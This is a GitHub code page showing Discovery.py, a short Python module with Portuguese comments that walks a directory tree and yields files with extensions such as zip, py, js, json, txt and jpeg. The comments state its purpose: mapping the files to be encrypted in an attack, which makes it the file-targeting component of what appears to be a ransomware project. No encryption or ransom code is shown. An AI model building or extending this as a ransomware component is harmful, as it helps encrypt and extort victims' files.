-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathDiscovery.py
More file actions
20 lines (17 loc) · 801 Bytes
/
Discovery.py
File metadata and controls
20 lines (17 loc) · 801 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#Arquivo Discovery = Serve pra "Mapear" os arquivos para serem encriptados
import os #Ajuda a navegar no FileSystem do SO
def discover(initial_path): #Caminho inicial onde o FileDiscover vai começar
#Extensões de arquivos para possíveis ataques
extensions = ['zip', 'py', 'js', 'json', 'lua', 'txt', 'jpeg']
for dirpath, dirs, files in os.walk(initial_path):
#Encriptar somente arquivos
for _file in files:
abspath = os.path.abspath(os.path.join(dirpath, _file))
ext = abspath.split('.')[-1]
if ext in extensions:
yield abspath #yield = Return, mas volta a executar
#Quando o Módulo diretamente for executado, isso acontece
if __name__ == '__main__':
x = discover(os.getcwd())
for i in x:
print(i)